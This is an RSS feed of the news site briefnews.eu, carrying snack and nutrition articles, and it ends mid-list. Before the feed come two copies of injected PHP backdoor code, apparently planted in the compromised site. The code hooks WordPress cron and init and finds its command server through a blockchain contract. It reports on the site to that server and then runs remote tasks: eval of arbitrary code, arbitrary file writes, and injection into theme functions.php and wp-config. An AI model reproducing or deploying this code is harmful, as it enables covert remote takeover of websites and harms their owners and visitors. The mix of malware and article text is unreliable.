// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); snacks – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 12 Dec 2018 06:49:37 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png snacks – Brief News https://briefnews.eu 32 32 10 snacks that are filling and low in fat https://briefnews.eu/10-snacks-that-are-filling-and-low-in-fat/ https://briefnews.eu/10-snacks-that-are-filling-and-low-in-fat/#respond Wed, 12 Dec 2018 06:49:37 +0000 http://briefnews.eu/10-snacks-that-are-filling-and-low-in-fat/ frozen grapesFlicker/kendiala

  • There are lots of snacks that are tasty but also aren’t high in fat for you.
  • These snacks are low in fat but will fill you up.
  • Reach for these snacks the next time you are feeling the need for a snack break.

Of course, a snack can help satisfy your hunger quick, but if you are tired of relying on the office vending machine for a sweet treat, you’d probably love to know that there are plenty of snacks available which are healthy, filling, and are low in fat.

To bring these kinds of yummy snacks to your radar, we spoke to a handful of dietitians about all the fulfilling snacks that won’t pack on excess fat. Below are some of the yummy and not to mention nutritious snack picks they recommend giving a shot.

Munch on some popcorn.

Sarah Schmalbruch/INSIDER

“Three cups of air-popped popcorn is only 100 calories and contains about 2.5 grams of fat,” said registered dietitians Lyssie Lakatos, RDN, CDN, CFT and Tammy Lakatos Shames, RDN, CDN, CFT of the Nutrition Twins. It’s a good source of fiber to help keep you feeling full, and it contains magnesium for muscle and bone strength, potassium, and antioxidants, they explained.

Add Greek yogurt to a lite whole grain toaster waffle.

JFXie/Flickr

“A lite whole grain toaster waffle topped with two tablespoons of nonfat Greek yogurt and some mandarin orange pieces is an easy way to get a fast and balanced snack,” said registered dietitian Summer Yule, MS, RDN. The protein and fiber in this snack are filling without the fat, she added.

Eat two cups of diced watermelon.

Eric Thayer/Getty Images

“Two cups of diced watermelon offer a large volume for under 100 calories and (almost) zero fat,” Yule explained. Other melons such as cantaloupe and honeydew also offer a large volume and no or low fat for the calories, she said.


See the rest of the story at Business Insider

See Also:

]]> https://briefnews.eu/10-snacks-that-are-filling-and-low-in-fat/feed/ 0 25 Healthy Snacks for Work: Decrease Hunger and Increase Productivity https://briefnews.eu/25-healthy-snacks-for-work-decrease-hunger-and-increase-productivity/ https://briefnews.eu/25-healthy-snacks-for-work-decrease-hunger-and-increase-productivity/#respond Fri, 28 Sep 2018 05:45:50 +0000 http://briefnews.eu/25-healthy-snacks-for-work-decrease-hunger-and-increase-productivity/ Snacks are awesome. They bridge the gaps between our meals, provide us a little mental reset, and can oftentimes lead to a healthier weight.

How does this magic work exactly? Well, let me tell you:

Incorporating snacks into your mid-morning and mid-afternoon can balance out your blood sugar, preventing those dreaded spikes and crashes. A proper snack can also lead to sustained energy by providing you with energy all day long.

Remember, food is fuel. So without adding gas to your tank, you will quickly run out leading to decreased productivity and a crabby mood.

What about the healthy weight you may ask? When you provide your body with proper fuel throughout the day, you don’t meet meal time with starvation. You have more control when you dinner plate lands on the table, leading to decreased portions and less chance of over-eating. In fact, oftentimes I recommend snacks to most of my nutrition clientele.

The perfect snack follows a simple formula: Protein + Produce. This will give you carbs for a quick energy bump combined with fiber and protein for sustaining that energy. This snack duo also lends itself to be quite portable. A no fuss approach to feeling better throughout the day is always welcome.

Here are some healthy snacks for work to sustain your energy, keep your focus locked in, and promote that healthy weight:

1. Cucumber Sandwiches

Cucumber sandwiches follow that perfect snack combo of protein + produce. The light and refreshing cucumber “buns” are a great delivery system for the protein-rich turkey slices.

Cucumbers are also a great source of hydration as they are made up of mostly water! And, yes, you can eat your water.

~ Get the recipe here!

2. Tuna Salad Cucumbers

Cucumbers again?! Yup, these little fruits (not even a veg) are so easy and friendly for all snackers.

Creating open-faced tuna salad sandwiches is a great way to have snack that will keep you going until your next meal. The tuna provides you with healthy fats that pairs nicely with the crunch of the fibrous cucumber.

~ Get the recipe here!

3. The Classic: Trail Mix

This classic combination is a tried and true method of snacking for a reason. It’s super easy, fun to mix up, and provides a nutritious punch.

Check out this list of some great trail mix variations and ideas! Be sure to go for low-sodium nuts and no sugar added dried fruits to keep unwanted empty calories at bay.

~ Get the recipe here!

4. Apple Cookies

You can call these dessert nachos or apple cookies. But either way they make one heck of a snack!

Easy to pack and prepare, these apple cookies are loaded with delicious fuel for your mid-morning pick-me-up. And as a bonus, these are very simple to customize to whatever flavor combinations you fancy!

~ Get the recipe here!

5. Banana Hemp Seed Sushi

Hemp seeds are great! In case you don’t know why, hemp seeds are loaded with vitamin E, iron, and healthy fats.

Pair these little powerhouse seeds with the power of peanut butter and a nutrient dense banana, you have the perfect combination for a snack! Thinking back on perfect snack formula of protein + produce, this snack follows that to a T!

~ Get the recipe here!

6. Almond Butter and Banana Open Sandwich

Another classic as it should be; but with a twist. In order to save time and shave off a few extra calories, use your banana as your delivery system. Top it with extra goodies and eat with a fork and knife or dive in to make it finger food!

This recipe is great to have all the ingredients for in your desk drawer!

~ Get the recipe here!

7. Baba Ganoush

Baba Ganoush is like hummus’s forgotten cousin. It’s delicious and in my book, doesn’t get enough recognition! This eggplant based dip is a great source of fiber, copper, and vitamin B. You can use carrot sticks or seeded crackers to much this perfect snack down!

~ Get the recipe here!

8. Blueberry Pudding

Chia seeds are little protein packets. And when soaked, they make a delicious pudding.

Bump up that pudding with fresh fruit and you have the perfect sweet treat to keep you going until lunch-time!

~ Get the recipe here!

9. Cowboy Caviar

Cowboy caviar is a typical Sunday football food, however, have you ever thought of making a little extra for the week’s snacks? With all the beans and veggies, it is loaded with sustaining energy.

Pack this in a small to-go container with your favorite chips and you are all set from lunch to dinner!

~ Get the recipe here!

10. Greek Yogurt & Crushed Almond Banana Popsicles

Greek yogurt and crushed almond banana popsicles are the perfect snack swap for when you are feeling something sweet. Much better for you than the vending machine but they are just as indulgent!

In this snack recipe, the Greek yogurt and almonds provide the protein that covers the banana (aka produce of course).

~ Get the recipe here!

11. Roasted Garlic Kale Hummus

Hummus alone should be on everyones list of superfoods! And this one is blended with kale for an extra nutrition bump. The roasted garlic provides a great flavor without making it too spicy.

I highly recommend this hummus with your favorite whole grain crackers or cut veggies!

~ Get the recipe here!

12. Avocado Deviled Eggs

Deviled eggs always feel so fancy to eat. Now add whipped avocado into the mixture and they are indulgent! Another great example of creating a snack that follows the winning formula of protein + produce.

As a bonus, the avocados provide a hearty dense of good for you fats and flavor!

~ Get the recipe here!

13. Peach Caprese Skewers

This snack couldn’t be simpler to make and take! You can keep them in skewer form or throw all the ingredients into your Tupperware container to eat as a salad.

Be sure to slice a ripe peach as the sweetness of the peach pairs wonderfully with the creamy mozzarella, fresh basil, and the acidity of the tomatoes!

~ Get the recipe here!

14. Hard Boiled Egg and Avocado Bowl

Eggs are an excellent source of protein, packing 6 grams in each large one. This seasoned snack bowl is great for an afternoon break or morning nosh. Plus the red bell peppers not only add flavor but also a great dose of vitamin A, C, and B!

~ Get the recipe here!

15. Protein Packed Oatmeal Cups

You can probably go ahead and call these muffins, but they are healthy muffins!

Using your favorite protein powder, these protein packed oatmeal cups are fully customizable to your liking. You can add fruit (yes, please!), nuts, spices, and a bit of sweetener.

The oatmeal base gives you a nice dosing of fiber that will help these muffins last you until you get to sit down for your next meals.

~ Get the recipe here!

16. Salmon Avocado Toast

One man’s Sunday brunch order is another’s power snack. To keep from getting too out of control with the calories, opt for a thin slice of toast and 1/4 of an avocado. Top it with high-quality smoked salmon to bask in the Omega 3 healthy fats!

~ Get the recipe here!

17. Kale Berry and Acai Power Smoothie

Smoothies are a wonderful invention. No time to eat? No worries, drink your snack!

This kale berry and acai power smoothie is chockfull of nutrients, fiber, and protein creating a winning combination!

~ Get the recipe here!

18. Vegetable Quinoa Chickpea Salad

This is a great snack that can be made in bulk for the whole week. With the chickpeas and quinoa paired with the cucumber and other veggies, this is a light salad that does a wonderful job of bridging the gap between meals.

~ Get the recipe here!

19. Apple Chai Energy Balls

These are so perfect for those cozy days when you are stuck inside working. These apple chai energy balls are packed with fiber, antioxidants and protein.

Be sure to use old-fashioned oats for more nutrient dense energy balls.

~ Get the recipe here!

20. Peanut Butter Smoothie

Everyone loves peanut butter. This peanut butter smoothie is the perfect combination to make it a great snack! Pour yourself a small glass and sip away the hanger!

~ Get the recipe here!

21. Gluten-Free Black Bean Brownies

Is this permission to eat brownies for a healthy snack? When they are made of black beans it is!

The best part about these brownies is that you can’t tell they are healthy at all. The beans provide the protein that compliments the antioxidants of the chocolate and nuts.

~ Get the recipe here!

22. Chipotle Lime Edamame

Edamame are whole soy pods that are excellent covered in any flavor combination you can think of! You can make these little guys right at the office with a bag of frozen edamame heated in the company microwave and then topped with all the ingredients.

Simple, easy, and beats that weird buttery popcorn smell that floats down the hallway on Friday afternoons.

~ Get the recipe here!

23. Cheesy Spinach Quinoa Cups

These are great for on the go and freeze really well! That means you can make them in batches to last you weeks at a time!

The spinach and cheese creates an indulgent snack that won’t cost you tons of calories and hold you over to make it to that 4 o’clock meeting.

~ Get the recipe here!

24. No Bake Sweet and Salty Granola Bars

